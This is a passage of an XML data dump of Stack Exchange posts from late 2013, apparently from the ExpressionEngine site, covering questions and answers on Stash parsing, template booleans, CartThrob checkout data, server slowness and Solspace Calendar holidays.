field=&quot;award_winner&quot;}&#xA;        &amp;lt;li&amp;gt;{parents:title}&amp;lt;/li&amp;gt;&#xA;      {/parents}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When it gets to this second part, it's returning all entries in the people channel, instead of just the one defined by *winner_id*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end goal, will be to have a bunch of channels (news, media, etc) that all relate to individuals, and that sidebar area is going to pull in (on any given page) a bunch of related items from multiple channels.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2013-12-14T12:49:33.160" Title="Parse order for Stash? - stashing an entry_id and retrieving it again later" Tags="|stash|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17689" PostTypeId="2" ParentId="17687" CreationDate="2013-12-13T21:06:23.470" Score="2" Body="&lt;p&gt;ExpressionEngine interprets the returned value as the string &quot;FALSE&quot;. You probably need to set your var like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array('show_data' =&amp;gt; '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you need to format your if statement like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if show_data == &quot;FALSE&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-12-13T21:06:23.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17690" PostTypeId="2" ParentId="17531" CreationDate="2013-12-13T21:14:55.660" Score="1" Body="&lt;p&gt;I have a bunch of ideas for things for you to try to learn more about what's going on, but I wanted to suggest the most obvious, first:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you up against the memory limits on your EE 2.x server? Is it possible that this page is causing the server to use swap (to disk) rather than processing fully in memory? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the graph you've posted, it looks like the memory is topping-out at 16MB, and that seems suspicious and low. Can you check your memory limit settings in PHP, and, if necessary, your server memory limits, and make sure that you have a lot of free memory when you're testing the load time on this page. Report back in the memory seems to be a factor, or not.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-12-13T21:14:55.660" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17691" PostTypeId="2" ParentId="17681" CreationDate="2013-12-13T21:45:27.277" Score="3" Body="&lt;p&gt;Add this right above line 194 in admin/expressionengine/libraries/Extensions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-13T22:08:22.823" LastActivityDate="2013-12-13T22:08:22.823" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17692" PostTypeId="1" CreationDate="2013-12-13T22:28:43.807" Score="2" ViewCount="3823" Body="&lt;p&gt;I'm running an ExpressionEngine site using CartThrob for a shopping cart. Some of the pages are loading extremely slowly on the production server (7, 10, 15 seconds of Controller Execution Time as reported by CodeIgniter profiler), even when there is no traffic at all to the site. The same pages running on a dev server with the exact same codebase and exact same database are taking less than one second to load by the same measure. The problem seems worst on pages with lots of database queries, though that could be a red herring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first, I thought the issue was with the database or the connection to the database, but the CodeIgniter profiler indicates that the sum of all database queries on production for the slowest page (180 queries) is only about 0.6 seconds. Looking at the CodeIgniter database driver source, that number appears to be measured in PHP, so it seems like the problem is not in the database or the connection to the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, looking at the Template Debugging log on production, there doesn't seem to be a single step that takes an inordinately long time. Rather each step seems to take just generally longer than on the dev server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My local development machine is a Macbook running MAMP, and the Server is a 4GB Linode VPS running Ubuntu. I have separately benchmarked PHP/MySQL performance on both, and the Macbook was slightly faster at InnoDB selects, inserts, and updates, but not considerably so. I also benchmarked disk read/write on both machines, which came back almost identical. Just to check, I also migrated to another Linode server but the results are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else should I look into as to what might be causing this problem?&lt;/p&gt;&#xA;" OwnerUserId="2480" LastEditorUserId="2480" LastEditDate="2013-12-14T17:49:20.247" LastActivityDate="2014-02-19T13:18:14.607" Title="Very slow performance on production, not on local dev, doesn't seem to be the database" Tags="|cartthrob|php|mysql|performance|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17693" PostTypeId="2" ParentId="17681" CreationDate="2013-12-13T23:00:01.717" Score="1" Body="&lt;p&gt;The error was misleading as it wasn't actually being caused by the call to reduce_double_slashes() on line 194 in Extensions.php.  The issue was caused by the Custom System Messages extension, once I disabled that I was able to access the site.&lt;/p&gt;&#xA;" OwnerUserId="204" LastActivityDate="2013-12-13T23:00:01.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17694" PostTypeId="2" ParentId="17628" CreationDate="2013-12-13T23:10:23.877" Score="2" Body="&lt;p&gt;Since Store 2.0.4 it is possible to specify the length/width/height/weight fields dynamically at the same time the product is added to your cart, so you could implement this logic using javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to enable this feature under Admin &gt; Channel Administration &gt; Channel Fields &gt; Products channel &gt; Product Details field &gt; Enable Dynamic Weight &amp;amp; Dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, inside the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag, you can submit &lt;code&gt;length&lt;/code&gt;, &lt;code&gt;width&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt;, and &lt;code&gt;weight&lt;/code&gt;, and these will override the values for that particular item in the cart. You can make these hidden fields, and simply change their values using javascript when the customer changes the product options.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-12-13T23:10:23.877" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17695" PostTypeId="1" AcceptedAnswerId="17701" CreationDate="2013-12-13T23:43:15.767" Score="1" ViewCount="307" Body="&lt;p&gt;In my CartThrob {update_cart_form}, I have a Matrix-populated zip code drop-down field. When a user clicks &quot;Checkout&quot; I want the value of the drop-down menu to pass as a variable to the checkout page and populate the billing zip code field. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: You can actually view the precursor to this by going here: &lt;a href=&quot;http://dandelionflowershop.com/index.php/website/cart&quot; rel=&quot;nofollow&quot;&gt;http://dandelionflowershop.com/index.php/website/cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that you need $40 in your cart before delivery options become available.&lt;/p&gt;&#xA;" OwnerUserId="2398" LastEditorUserId="2398" LastEditDate="2013-12-14T00:35:53.113" LastActivityDate="2013-12-14T11:35:03.103" Title="EE &amp; CartThrob: How to pass custom field variables from Cart to Checkout pages" Tags="|ee2|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17696" PostTypeId="2" ParentId="12673" CreationDate="2013-12-14T00:50:22.363" Score="1" Body="&lt;p&gt;When I throw an ajax error I use ee()-&gt;security-&gt;restore_xid() so I can use the same token again. Per &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-request-forgery&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/guidelines/security.html#cross-site-request-forgery&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2502" LastActivityDate="2013-12-14T00:50:22.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17697" PostTypeId="1" AcceptedAnswerId="17802" CreationDate="2013-12-14T02:40:52.253" Score="4" ViewCount="1121" Body="&lt;p&gt;I'm about to work on some basic SEO for my EE site. I'm trying to dynamically set the title, meta description, OpenGraph tags, and do XML Sitemaps. I've already started trying to dynamically set the title and meta description -- with a lot of if-conditions. It's starting to get ugly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking at &lt;a href=&quot;http://ee-garage.com/nsm-better-meta&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-better-meta&lt;/a&gt;. Any comments about this addon? Are there other addons I should be looking at?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-06-01T17:16:48.477" Title="SEO addon - recommendations?" Tags="|add-on|seo|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17698" PostTypeId="2" ParentId="17692" CreationDate="2013-12-14T03:14:04.150" Score="1" Body="&lt;p&gt;I'd guess it's not EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the Network tab in FireBug or whatever browser dev tool you use. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check apache, mysql and php error logs too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another good test is to reduce the code... Remove all and put pieces back in and test until you isolate the problem code.  &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-14T03:14:04.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17699" PostTypeId="2" ParentId="15090" CreationDate="2013-12-14T03:25:43.460" Score="0" Body="&lt;p&gt;It sounds like this bug:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19772&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and was resolved with the recent 2.7.3 release. Or you can see how to correct it via the link above.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-12-14T03:25:43.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17700" PostTypeId="2" ParentId="17692" CreationDate="2013-12-14T09:19:19.767" Score="1" Body="&lt;p&gt;Did you try the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;enable / disable Gzip (under Admin -&gt; System Administration -&gt; Output and Debugging Preferences)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Are you using AutoMin? If so try to enable / disable &quot;Enable Caching&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Does your server has hardware caching, if so. disable software Caching...&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Some servers only allow caching or other settings be set trough .htaccess&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="394" LastActivityDate="2013-12-14T09:19:19.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17701" PostTypeId="2" ParentId="17695" CreationDate="2013-12-14T11:35:03.103" Score="2" Body="&lt;p&gt;You should be able to save some custom data to session using the &lt;code&gt;custom_data&lt;/code&gt; array like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;custom_data[whatever]&quot;&amp;gt;...&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://cartthrob.com/docs/tags/global_form_settings/index.html#form-fields&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags/global_form_settings/index.html#form-fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value should then be available in the CT checkout tag like this: &lt;code&gt;{custom_data:whatever}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://cartthrob.com/docs/tags/global_tag_variables/index.html#custom_datayour_data_field_name&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/tags/global_tag_variables/index.html#custom_datayour_data_field_name&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-14T11:35:03.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17702" PostTypeId="2" ParentId="17697" CreationDate="2013-12-14T12:33:31.043" Score="6" Body="&lt;p&gt;I would recommend this approach with Stash: &lt;a href=&quot;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-1#meta&quot;&gt;http://www.jamessmith.co.uk/articles/expressionengine-stash-tutorial-level-1#meta&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dislike add-ons that purport to &quot;do&quot; metadata for you, because unless your site is a very basic static page-based affair (where one entry always translates to one page) they can never cover all the possibilities for how metadata should get set, and it harms the future-proofing of your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also like to keep the definition of a given pageview's metadata in the same place as the content to which it relates (as opposed to with the layout markup), so the template partials approach makes the most sense to me, as well as its myriad of other advantages.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-14T12:33:31.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17703" PostTypeId="2" ParentId="17688" CreationDate="2013-12-14T12:49:33.160" Score="1" Body="&lt;p&gt;Just a couple of points of guidance if you want to use that technique with parse=&quot;inward&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;parse=&quot;inward&quot; needs to be on the outer tag so that it instructs the inner tags in parameters to be parsed&lt;/li&gt;&#xA;&lt;li&gt;be careful to use double quote marks and single quote marks as appropriate when nesting&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's how to make your code work without the need for parse=&quot;inward&quot;. (See the previous revision of this answer to see how it would work with parse=&quot;inward&quot;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- ====================================&#xA;SET&#xA;========================================= --}&#xA;&#xA;{exp:channel:entries channel=&quot;awards&quot;}&#xA;  {award_winner}&#xA;    {exp:stash:set_value name=&quot;winner_id&quot; value=&quot;{award_winner:entry_id}&quot;}&#xA;  {/award_winner}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- ====================================&#xA;GET&#xA;========================================= --}&#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;  {exp:channel:entries&#xA;    channel=&quot;people&quot;&#xA;    entry_id=&quot;{stash:winner_id}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;  }&#xA;    &amp;lt;h2&amp;gt;Other awards won by {title}&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;      {parents field=&quot;award_winner&quot;}&#xA;        &amp;lt;li&amp;gt;{parents:title}&amp;lt;/li&amp;gt;&#xA;      {/parents}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-14T12:49:33.160" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17704" PostTypeId="1" CreationDate="2013-12-14T17:22:22.943" Score="0" ViewCount="139" Body="&lt;p&gt;I've used Solspace Calendar to create an &quot;Office Holidays&quot; calendar where we enter all of the dates/times we're closed for the holidays. The idea is to let visitors know if we're open for calls or not. That said, I'm not sure what the best way is to check and see if the current time/date lands on a holiday or not. Especially without looping through all holidays in the calendar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on ways to check to see if we're currently in a &quot;holiday&quot;?&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-12-15T21:10:49.817" Title="How can I check to see if today is a holiday with Solspace calendar?" Tags="|date|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17706" PostTypeId="2" ParentId="17257" CreationDate="2013-12-14T18:07:33.703" Score="0" Body="&lt;p&gt;It turns out that re-installing EE solved the problem.  I must have made a error when I did my last installation. The correct suggestion came form Kurt Deutscher on EE's Forums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone who asked the clarifying questions.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2013-12-14T18:07:33.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17708" PostTypeId="2" ParentId="17677" CreationDate="2013-12-14T19:01:58.987" Score="2" Body="&lt;p&gt;You need to make sure the &lt;code&gt;End Script&lt;/code&gt; setting is set to &lt;code&gt;False&lt;/code&gt; in the hook setup screen. This will prevent the default action from occurring so the email is only sent one time.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-12-14T19:01:58.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17709" PostTypeId="1" AcceptedAnswerId="17742" CreationDate="2013-12-14T20:05:16.620" Score="1" ViewCount="149" Body="&lt;p&gt;Trying to see if there is a way natively in EE (2.7.3) not just to switch classes within a ul but to have multiple instances of ul tags within one channel entry without using add-ons like switch?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;sub&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;A&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;B&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;C&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;sub&quot;&amp;gt;&#xA;&amp;lt;li&amp;gt;D&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;E&amp;lt;/li&amp;gt;&#xA;&amp;lt;li&amp;gt;F&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-12-18T18:24:53.257" Title="Multiple ul tags in columns within single channel entry tag" Tags="|ee2|channel-entries|list|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17710" PostTypeId="1" CreationDate="2013-12-14T20:54:33.090" Score="1" ViewCount="77" Body="&lt;p&gt;I've been trying to clear the caches prior to running this EE upgrade but when I do I'm getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1054&#xA;&#xA;Unknown column 'rel_data' in 'field list'&#xA;&#xA;UPDATE pfra_relationships SET rel_data = '', reverse_rel_data = ''&#xA;&#xA;Filename: libraries/Functions.php&#xA;&#xA;Line Number: 1205&#xA;&#xA;« Back&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think this is going to help my overall upgrade path on this project but would be good to know what's going on.&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2014-02-14T19:34:38.447" Title="cached relationship entries db error" Tags="|database|cache|database-error|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17711" PostTypeId="2" ParentId="17709" CreationDate="2013-12-14T21:30:18.743" Score="2" Body="&lt;p&gt;The switch variable takes html as well. In case of your example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{switch='&amp;lt;ul class=&quot;sub&quot;&amp;gt;||'}&#xA;&amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;{switch='||&amp;lt;/ul&amp;gt;'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2013-12-14T21:30:18.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17712" PostTypeId="1" AcceptedAnswerId="17718" CreationDate="2013-12-14T22:05:59.037" Score="1" ViewCount="48" Body="&lt;p&gt;In the following code, I want &lt;code&gt;site_index&lt;/code&gt; to continue to point to &lt;code&gt;http://blah.com/&lt;/code&gt; but instead it points to something like &lt;code&gt;http://blah.com/category/catalog/downloads&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;downloads&quot; show_empty=&quot;no&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;a href=&quot;{path='site_index'}/downloads&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I prevent &lt;code&gt;channel:categories&lt;/code&gt; from taking over the &lt;code&gt;site_index&lt;/code&gt; variable?&lt;/p&gt;&#xA;" OwnerUserId="2504" LastActivityDate="2013-12-15T09:21:07.243" Title="'site_index' variable in channel:categories has specific URL" Tags="|categories|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17713" PostTypeId="1" CreationDate="2013-12-14T22:19:14.720" Score="0" ViewCount="115" Body="&lt;p&gt;Is there a way to pull the channel entry title from a previous page into a Freeform Pro form field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the specific scenario:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a channel containing job postings. To apply for any of these jobs, the visitor clicks an &quot;apply&quot; button which takes him or her from the job description page to an application form. Is there a way to pull the entry title of the job on the previous page to a field on the form the visitor is now filling out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there is a way to do this, can the code be integrated into a Composer template?&lt;/p&gt;&#xA;" OwnerUserId="359" LastActivityDate="2013-12-14T23:07:57.273" Title="How to pull a channel entry title from a previous page into a Freeform Pro field?" Tags="|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17714" PostTypeId="2" ParentId="17713" CreationDate="2013-12-14T23:07:57.273" Score="1" Body="&lt;p&gt;In the page with your job ad, you can use the url_title of the currently viewed job ad in the link to your freeform url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So say you have a job entry with the url title of 'web-designer', your apply now button could link to domain.com/job/apply/web-designer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example, 'job' is the template group, 'apply' is your template with your freeform form. Within the freeform tags you can then use a channel entries tag to get the {title} for your form field based on {segment_3}, looking something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;jobs&quot; url_title=&quot;{segment_3}&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;position-applied-for&quot; value=&quot;{title}&quot;&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure if this can included in a composer template though. &lt;/p&gt;&#xA;" OwnerUserId="1287" LastActivityDate="2013-12-14T23:07:57.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17715" PostTypeId="2" ParentId="17682" CreationDate="2013-12-14T23:46:15.270" Score="2" Body="&lt;p&gt;You can not natively upload all the files at once with grid. But you can individually select them for each cell in the grid&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2013-12-14T23:46:15.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17718" PostTypeId="2" ParentId="17712" CreationDate="2013-12-15T09:21:07.243" Score="2" Body="&lt;p&gt;You'd be best left not messing with that and using &lt;code&gt;{site_url}&lt;/code&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#site-url&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#site-url&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-12-15T09:21:07.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17719" PostTypeId="2" ParentId="16791" CreationDate="2013-12-15T09:27:16.657" Score="1" Body="&lt;p&gt;Purchase and implement the Stash EE companion called Mustash to setup up cache clearing rules. With Mustash you'll be able to tell the Stash cach eto empty whenever an entry is modified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devot-ee.com/add-ons/mustash&quot; rel=&quot;nofollow&quot;&gt;http://www.devot-ee.com/add-ons/mustash&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-12-15T09:27:16.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17720" PostTypeId="2" ParentId="17655" CreationDate="2013-12-15T10:36:58.993" Score="2" Body="&lt;p&gt;It is &lt;strong&gt;not&lt;/strong&gt; the case that you need to set your booleans as 'true'/'false' strings, it's that your variables array needs to be nested in its own array like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$array = array(array('show_data' =&amp;gt; true));&#xA;$str = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $array);    &#xA;return $str;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll now find that outputting {show_data} in a template will return 1, and as such can be used in conditionals like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if show_data}It's true{/if}&#xA;{if show_data == 0}It's false{/if}&#xA;{if show_data == ''}It's false{/if}&#xA;{if !show_data}It's false (as of EE 2.9+){/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#master-variables-array&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/template.html#master-variables-array&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2015-09-28T10:42:01.143" LastActivityDate="2015-09-28T10:42:01.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17721" PostTypeId="2" ParentId="17687" CreationDate="2013-12-15T10:39:58.853" Score="1" Body="&lt;p&gt;Please see my answer to your other related question which answers this too. (You need to set your vars array as a multidimensional array):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17655/how-to-check-for-a-boolean-field/17720#17720&quot;&gt;How to check for a boolean field?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-12-15T10:39:58.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17723" PostTypeId="2" ParentId="17704" CreationDate="2013-12-15T17:28:59.440" Score="3" Body="&lt;p&gt;Wouldn't you only have to loop through the events on a specific day (today) to see if there is a match for a holiday (and not the entire calendar)?  I believe you could use the &quot;&lt;a href=&quot;http://www.solspace.com/docs/calendar/day/#parameters&quot; rel=&quot;nofollow&quot;&gt;Day&lt;/a&gt;&quot; loop with a date_range_start of current_time, couldn't you?  And since your calendar entries are limited to office holidays, the return of any results for a given day would in fact mean there is a holiday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:calendar:day date_range_start=&quot;{current_time format=&quot;%Y-%m-%d&quot;}&quot;}&#xA;    {if calendar_no_results}&#xA;       Regular business hours today&#xA;    {/if}&#xA;       Today is a Holiday!&#xA; {/exp:calendar:day}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20" LastEditDate="2013-12-15T17:34:13.487" LastActivityDate="2013-12-15T17:34:13.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17724" PostTypeId="2" ParentId="17686" CreationDate="2013-12-15T21:01:11.213" Score="3" Body="&lt;p&gt;Actually, I would strongly suggest to &lt;strong&gt;upgrade add-ons first, then EE&lt;/strong&gt;. This isn't only for Solspace add-ons, but any add-on for EE. Make sure you &lt;strong&gt;update your add-ons to the latest version available for EE1 first&lt;/strong&gt;, then upgrade to EE2. Sometimes, you need to then upgrade the add-ons to the latest version available for EE2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This usually gives you the smoothest upgrade path to having your add-ons working correctly on EE2. Moving to EE2 while still using an add-on version that was EE1-only (at the time of the add-on's version) can be a painful experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, also &lt;strong&gt;make sure you make backups at every step&lt;/strong&gt;, in case you need to backtrack to a previous state. Reading the upgrade instructions for each add-on, just in case there's a special requirement, is also highly recommended.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-15T21:01:11.213" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17725" PostTypeId="2" ParentId="17704" CreationDate="2013-12-15T21:10:49.817" Score="3" Body="&lt;p&gt;Creating an &quot;Office Holidays&quot; calendar is a good start. Within that calendar you would create your holiday &quot;events&quot; in the &quot;Calendar: Events&quot; channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to list the upcoming holidays as a list, you can use &lt;code&gt;{exp:calendar:cal}&lt;/code&gt;. Don't forget to use &lt;code&gt;calendar_id=&quot;&quot;&lt;/code&gt; or &lt;code&gt;calendar_name=&quot;&quot;&lt;/code&gt; is you just want to display events within your &quot;Office Holidays&quot; calendar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;  calendar_id=&quot;1&quot;&#xA;  date_range_start=&quot;today&quot;&#xA;  date_range_end=&quot;+6 months&quot;&#xA;  pad_short_weeks=&quot;n&quot;}&#xA;&#xA;  {events}&#xA;     Holiday &quot;{event_title}&quot; on {event_start_date format=&quot;%Y-%m-%d&quot;}&amp;lt;br /&amp;gt;&#xA;  